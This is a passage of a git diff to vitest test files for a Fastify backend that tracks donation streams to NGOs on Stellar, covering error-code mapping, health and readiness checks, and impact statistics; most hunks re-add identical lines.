buildServer(); + + app.post('/test-payload-limit', { bodyLimit: 50 }, async () => { + return { ok: true }; + }); + + const response = await app.inject({ + method: 'POST', + url: '/test-payload-limit', + headers: { 'content-type': 'application/json' }, + payload: JSON.stringify({ data: 'x'.repeat(100) }), + }); + + expect(response.statusCode).toBe(413); + expect(response.json()).toEqual({ error: 'payload_too_large' }); + + await app.close(); + }); + + it('maps 429 status code to { error: "rate_limited" }', async () => { + const originalMax = process.env.RATE_LIMIT_MAX; + const originalWindow = process.env.RATE_LIMIT_WINDOW; + process.env.RATE_LIMIT_MAX = '1'; + process.env.RATE_LIMIT_WINDOW = '1 minute'; + + const app = buildServer(); + + const first = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + }); + expect(first.statusCode).toBe(200); + + const second = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + }); + expect(second.statusCode).toBe(429); + expect(second.json()).toEqual({ error: 'rate_limited' }); + + await app.close(); + + if (originalMax === undefined) delete process.env.RATE_LIMIT_MAX; + else process.env.RATE_LIMIT_MAX = originalMax; + if (originalWindow === undefined) delete process.env.RATE_LIMIT_WINDOW; + else process.env.RATE_LIMIT_WINDOW = originalWindow; + }); + + it('maps 415 status code to { error: "unsupported_media_type" }', async () => { + const app = buildServer(); + + app.post('/test-415', async () => { + const err = new Error('Unsupported Media Type') as Error & { statusCode: number }; + err.statusCode = 415; + throw err; + }); + + const response = await app.inject({ + method: 'POST', + url: '/test-415', + }); + + expect(response.statusCode).toBe(415); + expect(response.json()).toEqual({ error: 'unsupported_media_type' }); + + await app.close(); + }); +}); diff --git a/test/routes/health.test.ts b/test/routes/health.test.ts index 6cc357e..da48d86 100644 --- a/test/routes/health.test.ts +++ b/test/routes/health.test.ts @@ -1,237 +1,237 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { buildServer } from '../../src/server.js'; -import * as rpc from '../../src/stellar/rpc.js'; - -describe('GET /health', () => { - beforeEach(() => { - vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - - it('responds with 200 when the database is reachable', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/health' }); - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ status: 'ok', db: 'ok' }); - - await app.close(); - }); - - it('serves Swagger UI and an OpenAPI document in development', async () => { - const app = buildServer(); - const ui = await app.inject({ method: 'GET', url: '/docs/' }); - expect(ui.statusCode).toBe(200); - expect(ui.headers['content-type']).toContain('text/html'); - const spec = await app.inject({ method: 'GET', url: '/docs/json' }); - expect(spec.statusCode).toBe(200); - expect(spec.json().openapi).toMatch(/^3\./); - expect(spec.json().paths['/v1/streams']).toBeDefined(); - expect(spec.json().paths['/v1/ngos']).toBeDefined(); - await app.close(); - }); - - it('responds with 503 when the database is unreachable', async () => { - vi.spyOn(prisma, '$queryRaw').mockRejectedValueOnce(new Error('connection refused')); - - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/health' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toMatchObject({ status: 'error', db: 'error' }); - - await app.close(); - }); - - it('responds with 503 when the database check times out', async () => { - // Simulate a query that never resolves - vi.spyOn(prisma, '$queryRaw').mockReturnValueOnce(new Promise(() => {}) as never); - - const previousTimeout = process.env.HEALTH_CHECK_TIMEOUT_MS; - process.env.HEALTH_CHECK_TIMEOUT_MS = '50'; // very short timeout for the test - - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/health' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toMatchObject({ status: 'error', db: 'error' }); - - await app.close(); - - if (previousTimeout === undefined) delete process.env.HEALTH_CHECK_TIMEOUT_MS; - else process.env.HEALTH_CHECK_TIMEOUT_MS = previousTimeout; - }); - - it('does not include the RPC check so an RPC outage cannot trigger a liveness restart', async () => { - // Even with RPC broken, /health must return 200 — it is a liveness probe. - vi.spyOn(rpc, 'getLatestLedgerSequence').mockRejectedValueOnce(new Error('RPC unreachable')); - - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/health' }); - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ status: 'ok', db: 'ok' }); - - await app.close(); - }); - - it('applies the global rate limit to repeated health checks', async () => { - const previousMax = process.env.RATE_LIMIT_MAX; - process.env.RATE_LIMIT_MAX = '1'; - vi.spyOn(rpc, 'getLatestLedgerSequence').mockResolvedValue(1); - const app = buildServer(); - - const first = await app.inject({ method: 'GET', url: '/health' }); - const second = await app.inject({ method: 'GET', url: '/health' }); - - expect(first.statusCode).toBe(200); - expect(second.statusCode).toBe(429); - - await app.close(); - if (previousMax === undefined) delete process.env.RATE_LIMIT_MAX; - else process.env.RATE_LIMIT_MAX = previousMax; - }); -}); - -describe('GET /health/ready', () => { - afterEach(() => { - vi.restoreAllMocks(); - }); - - it('responds with 200 and status ok when DB and RPC are reachable and lag is within threshold', async () => { - vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); - vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue( - 10050, - ); - vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue( - 10000, - ); - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ - status: 'ok', - lag: 50, - latestLedger: 10050, - checkpointLedger: 10000, - }); - - await app.close(); - }); - - it('responds with 503 when the database is unreachable', async () => { - vi.spyOn(prisma, '$queryRaw').mockRejectedValueOnce(new Error('Database connection failed')); - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); - - await app.close(); - }); - - it('responds with 503 when the database check times out', async () => { - vi.spyOn(prisma, '$queryRaw').mockReturnValueOnce(new Promise(() => {}) as never); - - const previousTimeout = process.env.HEALTH_CHECK_TIMEOUT_MS; - process.env.HEALTH_CHECK_TIMEOUT_MS = '50'; - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); - - await app.close(); - - if (previousTimeout === undefined) delete process.env.HEALTH_CHECK_TIMEOUT_MS; - else process.env.HEALTH_CHECK_TIMEOUT_MS = previousTimeout; - }); - - it('responds with 503 when the RPC check times out', async () => { - vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); - vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockReturnValueOnce( - new Promise(() => {}) as never, - ); - vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); - - const previousTimeout = process.env.HEALTH_CHECK_TIMEOUT_MS; - process.env.HEALTH_CHECK_TIMEOUT_MS = '50'; - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); - - await app.close(); - - if (previousTimeout === undefined) delete process.env.HEALTH_CHECK_TIMEOUT_MS; - else process.env.HEALTH_CHECK_TIMEOUT_MS = previousTimeout; - }); - - it('responds with 503 when RPC is unreachable', async () => { - vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); - vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockRejectedValue(new Error('RPC connection failed')); - vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); - - await app.close(); - }); - - it('responds with 503 when indexer has no checkpoint', async () => { - vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); - vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue(10050); - vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(undefined); - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ status: 'error', reason: 'indexer_not_started' }); - - await app.close(); - }); - - it('responds with 503 when indexer lag is above threshold', async () => { - vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); - vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue(10150); - vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - expect(response.json()).toEqual({ status: 'error', reason: 'indexer_lagging', lag: 150, threshold: 100 }); - - await app.close(); - }); - - it('treats a non-numeric INDEXER_LAG_THRESHOLD as 0', async () => { - const original = process.env.INDEXER_LAG_THRESHOLD; - process.env.INDEXER_LAG_THRESHOLD = 'abc'; - - vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue(10001); - vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); - - const app = buildServer(); - const response = await app.inject({ method: 'GET', url: '/health/ready' }); - expect(response.statusCode).toBe(503); - const body = response.json(); - expect(body.status).toBe('error'); - expect(body.reason).toBe('indexer_lagging'); - expect(body.lag).toBe(1); - expect(body.threshold).toBe(0); - - await app.close(); - - if (original === undefined) delete process.env.INDEXER_LAG_THRESHOLD; - else process.env.INDEXER_LAG_THRESHOLD = original; - }); -}); +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { buildServer } from '../../src/server.js'; +import * as rpc from '../../src/stellar/rpc.js'; + +describe('GET /health', () => { + beforeEach(() => { + vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it('responds with 200 when the database is reachable', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/health' }); + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ status: 'ok', db: 'ok' }); + + await app.close(); + }); + + it('serves Swagger UI and an OpenAPI document in development', async () => { + const app = buildServer(); + const ui = await app.inject({ method: 'GET', url: '/docs/' }); + expect(ui.statusCode).toBe(200); + expect(ui.headers['content-type']).toContain('text/html'); + const spec = await app.inject({ method: 'GET', url: '/docs/json' }); + expect(spec.statusCode).toBe(200); + expect(spec.json().openapi).toMatch(/^3\./); + expect(spec.json().paths['/v1/streams']).toBeDefined(); + expect(spec.json().paths['/v1/ngos']).toBeDefined(); + await app.close(); + }); + + it('responds with 503 when the database is unreachable', async () => { + vi.spyOn(prisma, '$queryRaw').mockRejectedValueOnce(new Error('connection refused')); + + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/health' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toMatchObject({ status: 'error', db: 'error' }); + + await app.close(); + }); + + it('responds with 503 when the database check times out', async () => { + // Simulate a query that never resolves + vi.spyOn(prisma, '$queryRaw').mockReturnValueOnce(new Promise(() => {}) as never); + + const previousTimeout = process.env.HEALTH_CHECK_TIMEOUT_MS; + process.env.HEALTH_CHECK_TIMEOUT_MS = '50'; // very short timeout for the test + + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/health' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toMatchObject({ status: 'error', db: 'error' }); + + await app.close(); + + if (previousTimeout === undefined) delete process.env.HEALTH_CHECK_TIMEOUT_MS; + else process.env.HEALTH_CHECK_TIMEOUT_MS = previousTimeout; + }); + + it('does not include the RPC check so an RPC outage cannot trigger a liveness restart', async () => { + // Even with RPC broken, /health must return 200 — it is a liveness probe. + vi.spyOn(rpc, 'getLatestLedgerSequence').mockRejectedValueOnce(new Error('RPC unreachable')); + + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/health' }); + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ status: 'ok', db: 'ok' }); + + await app.close(); + }); + + it('applies the global rate limit to repeated health checks', async () => { + const previousMax = process.env.RATE_LIMIT_MAX; + process.env.RATE_LIMIT_MAX = '1'; + vi.spyOn(rpc, 'getLatestLedgerSequence').mockResolvedValue(1); + const app = buildServer(); + + const first = await app.inject({ method: 'GET', url: '/health' }); + const second = await app.inject({ method: 'GET', url: '/health' }); + + expect(first.statusCode).toBe(200); + expect(second.statusCode).toBe(429); + + await app.close(); + if (previousMax === undefined) delete process.env.RATE_LIMIT_MAX; + else process.env.RATE_LIMIT_MAX = previousMax; + }); +}); + +describe('GET /health/ready', () => { + afterEach(() => { + vi.restoreAllMocks(); + }); + + it('responds with 200 and status ok when DB and RPC are reachable and lag is within threshold', async () => { + vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); + vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue( + 10050, + ); + vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue( + 10000, + ); + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ + status: 'ok', + lag: 50, + latestLedger: 10050, + checkpointLedger: 10000, + }); + + await app.close(); + }); + + it('responds with 503 when the database is unreachable', async () => { + vi.spyOn(prisma, '$queryRaw').mockRejectedValueOnce(new Error('Database connection failed')); + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); + + await app.close(); + }); + + it('responds with 503 when the database check times out', async () => { + vi.spyOn(prisma, '$queryRaw').mockReturnValueOnce(new Promise(() => {}) as never); + + const previousTimeout = process.env.HEALTH_CHECK_TIMEOUT_MS; + process.env.HEALTH_CHECK_TIMEOUT_MS = '50'; + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); + + await app.close(); + + if (previousTimeout === undefined) delete process.env.HEALTH_CHECK_TIMEOUT_MS; + else process.env.HEALTH_CHECK_TIMEOUT_MS = previousTimeout; + }); + + it('responds with 503 when the RPC check times out', async () => { + vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); + vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockReturnValueOnce( + new Promise(() => {}) as never, + ); + vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); + + const previousTimeout = process.env.HEALTH_CHECK_TIMEOUT_MS; + process.env.HEALTH_CHECK_TIMEOUT_MS = '50'; + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); + + await app.close(); + + if (previousTimeout === undefined) delete process.env.HEALTH_CHECK_TIMEOUT_MS; + else process.env.HEALTH_CHECK_TIMEOUT_MS = previousTimeout; + }); + + it('responds with 503 when RPC is unreachable', async () => { + vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); + vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockRejectedValue(new Error('RPC connection failed')); + vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ status: 'error', reason: 'service_unavailable' }); + + await app.close(); + }); + + it('responds with 503 when indexer has no checkpoint', async () => { + vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); + vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue(10050); + vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(undefined); + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ status: 'error', reason: 'indexer_not_started' }); + + await app.close(); + }); + + it('responds with 503 when indexer lag is above threshold', async () => { + vi.spyOn(prisma, '$queryRaw').mockResolvedValue([{}]); + vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue(10150); + vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + expect(response.json()).toEqual({ status: 'error', reason: 'indexer_lagging', lag: 150, threshold: 100 }); + + await app.close(); + }); + + it('treats a non-numeric INDEXER_LAG_THRESHOLD as 0', async () => { + const original = process.env.INDEXER_LAG_THRESHOLD; + process.env.INDEXER_LAG_THRESHOLD = 'abc'; + + vi.spyOn(await import('../../src/stellar/rpc.js'), 'getLatestLedgerSequence').mockResolvedValue(10001); + vi.spyOn(await import('../../src/indexer/checkpoint.js'), 'getCheckpoint').mockResolvedValue(10000); + + const app = buildServer(); + const response = await app.inject({ method: 'GET', url: '/health/ready' }); + expect(response.statusCode).toBe(503); + const body = response.json(); + expect(body.status).toBe('error'); + expect(body.reason).toBe('indexer_lagging'); + expect(body.lag).toBe(1); + expect(body.threshold).toBe(0); + + await app.close(); + + if (original === undefined) delete process.env.INDEXER_LAG_THRESHOLD; + else process.env.INDEXER_LAG_THRESHOLD = original; + }); +}); diff --git a/test/routes/impact.test.ts b/test/routes/impact.test.ts index 6ce3134..f74ae4a 100644 --- a/test/routes/impact.test.ts +++ b/test/routes/impact.test.ts @@ -1,415 +1,415 @@ -import { afterEach, beforeEach, describe, expect, it } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { buildServer } from '../../src/server.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; - -describe('GET /v1/impact', () => { - beforeEach(async () => { - await resetDb(); - }); - - afterEach(async () => { - await resetDb(); - }); - - it('returns zeroed totals when the platform has no data', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/impact' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.totalCommitted).toBe('0'); - expect(body.totalWithdrawn).toBe('0'); - expect(body.activeStreams).toBe(0); - expect(body.verifiedNgoCount).toBe(0); - - await app.close(); - }); - - it('aggregates totals across multiple NGOs and streams', async () => { - const app = buildServer(); - - const ngo1 = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('A'), name: 'NGO One', verified: true }, - }); - const ngo2 = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO Two', verified: true }, - }); - await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('C'), name: 'Unverified NGO', verified: false }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('D') } }); - - // ngo1: active stream — balance=600, withdrawn=400 - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo1.id, - tokenAddress: fakeAddress('T'), - rate: '10', - balance: '600', - withdrawn: '400', - status: 'ACTIVE', - }, - }); - // ngo2: cancelled stream — balance=0, withdrawn=200 - await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donor.id, - ngoId: ngo2.id, - tokenAddress: fakeAddress('U'), - rate: '0', - balance: '0', - withdrawn: '200', - status: 'CANCELLED', - }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/impact' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - // committed = (600+400) + (0+200) = 1200 - expect(body.totalCommitted).toBe('1200'); - expect(body.committedByToken).toEqual([ - { tokenAddress: fakeAddress('T'), amount: '1000' }, - { tokenAddress: fakeAddress('U'), amount: '200' }, - ]); - // withdrawn = 400 + 200 = 600 - expect(body.totalWithdrawn).toBe('600'); - expect(body.activeStreams).toBe(1); - expect(body.verifiedNgoCount).toBe(2); - - await app.close(); - }); - - it('excludes refunded balance from totalCommitted when a stream is cancelled', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('E'), name: 'Refund NGO', verified: true }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('F') } }); - - // Active stream: balance=500, withdrawn=500 → committed = 1000 - await prisma.stream.create({ - data: { - onChainId: 10n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '10', - balance: '500', - withdrawn: '500', - status: 'ACTIVE', - }, - }); - - // Cancelled stream: 400 was withdrawn to NGO; remaining balance was - // refunded to donor and zeroed on-chain. Only 400 must count. - await prisma.stream.create({ - data: { - onChainId: 11n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '0', - balance: '0', - withdrawn: '400', - status: 'CANCELLED', - }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/impact' }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - // active 1000 + cancelled 400 = 1400 - expect(body.totalCommitted).toBe('1400'); - expect(body.totalWithdrawn).toBe('900'); - expect(body.activeStreams).toBe(1); - - await app.close(); - }); -}); - -describe('GET /v1/impact/:ngoId', () => { - afterEach(async () => { - await resetDb(); - }); - - it('400s for a non-UUID id', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/impact/not-a-uuid' }); - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - - await app.close(); - }); - - it('404s for an unknown NGO id', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/impact/00000000-0000-0000-0000-000000000000', - }); - expect(response.statusCode).toBe(404); - - await app.close(); - }); - - it('returns zero platformSharePercent when the platform has no streams', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('A'), - name: 'Empty NGO', - displayName: 'Community Fund', - verified: true, - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.name).toBe('Community Fund'); - expect(body.platformSharePercent).toBe(0); - expect(body.totalCommitted).toBe('0'); - expect(body.activeStreams).toBe(0); - expect(body.cancelledStreams).toBe(0); - expect(body.uniqueDonors).toBe(0); - - await app.close(); - }); - - it('computes stats correctly across two NGOs', async () => { - const app = buildServer(); - - const ngo1 = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO One', verified: true }, - }); - const ngo2 = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('C'), name: 'NGO Two', verified: true }, - }); - const donor1 = await prisma.donor.create({ data: { address: fakeAddress('D') } }); - const donor2 = await prisma.donor.create({ data: { address: fakeAddress('E') } }); - - // ngo1: one active stream (balance=600, withdrawn=400) + one cancelled (balance=0, withdrawn=200) - // committed = (600+400) + (0+200) = 1200 - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor1.id, - ngoId: ngo1.id, - tokenAddress: fakeAddress('T'), - rate: '10', - balance: '600', - withdrawn: '400', - status: 'ACTIVE', - }, - }); - await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donor2.id, - ngoId: ngo1.id, - tokenAddress: fakeAddress('U'), - rate: '0', - balance: '0', - withdrawn: '200', - status: 'CANCELLED', - }, - }); - - // ngo2: one active stream (balance=600, withdrawn=200) - // committed = 800 - await prisma.stream.create({ - data: { - onChainId: 3n, - donorId: donor1.id, - ngoId: ngo2.id, - tokenAddress: fakeAddress('T'), - rate: '5', - balance: '600', - withdrawn: '200', - status: 'ACTIVE', - }, - }); - - // platform total committed = 1200 + 800 = 2000 - // ngo1 share = 1200 / 2000 = 60% - - const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo1.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.ngoId).toBe(ngo1.id); - expect(body.totalCommitted).toBe('1200'); - expect(body.committedByToken).toEqual([ - { tokenAddress: fakeAddress('T'), amount: '1000' }, - { tokenAddress: fakeAddress('U'), amount: '200' }, - ]); - expect(body.platformCommittedByToken).toEqual([ - { tokenAddress: fakeAddress('T'), amount: '1800' }, - { tokenAddress: fakeAddress('U'), amount: '200' }, - ]); - expect(body.totalWithdrawn).toBe('600'); - expect(body.activeStreams).toBe(1); - expect(body.cancelledStreams).toBe(1); - expect(body.uniqueDonors).toBe(2); - expect(body.platformSharePercent).toBe(60); - - await app.close(); - }); - - it('maintains precision for tiny NGO shares', async () => { - const app = buildServer(); - - const ngo1 = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('X'), name: 'Tiny NGO', verified: true }, - }); - const ngo2 = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('Y'), name: 'Huge NGO', verified: true }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('Z') } }); - - // ngo1: 1 unit committed - await prisma.stream.create({ - data: { - onChainId: 10n, - donorId: donor.id, - ngoId: ngo1.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '1', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - - // ngo2: 10000 units committed - await prisma.stream.create({ - data: { - onChainId: 11n, - donorId: donor.id, - ngoId: ngo2.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '10000', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo1.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.platformSharePercent).toBeGreaterThan(0); - expect(body.platformSharePercent).toBeLessThan(0.01); - - await app.close(); - }); - - it('counts unique donors correctly when the same donor has multiple streams', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('F'), name: 'Loyal NGO', verified: true }, - }); - const donor = await prisma.donor.create({ data: { address: fakeAddress('G') } }); - - await prisma.stream.create({ - data: { - onChainId: 4n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '10', - balance: '100', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - await prisma.stream.create({ - data: { - onChainId: 5n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '0', - balance: '0', - withdrawn: '50', - status: 'CANCELLED', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.uniqueDonors).toBe(1); - - await app.close(); - }); - - it('excludes refunded balance from totalCommitted for a cancelled stream', async () => { - const app = buildServer(); - - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('H'), name: 'Refund NGO', verified: true }, - }); - const donor1 = await prisma.donor.create({ data: { address: fakeAddress('I') } }); - const donor2 = await prisma.donor.create({ data: { address: fakeAddress('J') } }); - - // Active stream: balance=600, withdrawn=400 → committed = 1000 - await prisma.stream.create({ - data: { - onChainId: 6n, - donorId: donor1.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '10', - balance: '600', - withdrawn: '400', - status: 'ACTIVE', - }, - }); - - // Cancelled stream: donor deposited 800, 300 was withdrawn to NGO, 500 - // was refunded to donor (reflected as balance=0 after contract settles). - // totalCommitted must count only the withdrawn 300, not 300+500=800. - await prisma.stream.create({ - data: { - onChainId: 7n, - donorId: donor2.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '0', - balance: '0', - withdrawn: '300', - status: 'CANCELLED', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - // active 1000 + cancelled 300 = 1300 (not 1300 + 500 refunded = 1800) - expect(body.totalCommitted).toBe('1300'); - expect(body.totalWithdrawn).toBe('700'); - expect(body.activeStreams).toBe(1); - expect(body.cancelledStreams).toBe(1); - - await app.close(); - }); -}); +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { buildServer } from '../../src/server.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; + +describe('GET /v1/impact', () => { + beforeEach(async () => { + await resetDb(); + }); + + afterEach(async () => { + await resetDb(); + }); + + it('returns zeroed totals when the platform has no data', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/impact' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.totalCommitted).toBe('0'); + expect(body.totalWithdrawn).toBe('0'); + expect(body.activeStreams).toBe(0); + expect(body.verifiedNgoCount).toBe(0); + + await app.close(); + }); + + it('aggregates totals across multiple NGOs and streams', async () => { + const app = buildServer(); + + const ngo1 = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'NGO One', verified: true }, + }); + const ngo2 = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO Two', verified: true }, + }); + await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('C'), name: 'Unverified NGO', verified: false }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('D') } }); + + // ngo1: active stream — balance=600, withdrawn=400 + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo1.id, + tokenAddress: fakeAddress('T'), + rate: '10', + balance: '600', + withdrawn: '400', + status: 'ACTIVE', + }, + }); + // ngo2: cancelled stream — balance=0, withdrawn=200 + await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donor.id, + ngoId: ngo2.id, + tokenAddress: fakeAddress('U'), + rate: '0', + balance: '0', + withdrawn: '200', + status: 'CANCELLED', + }, 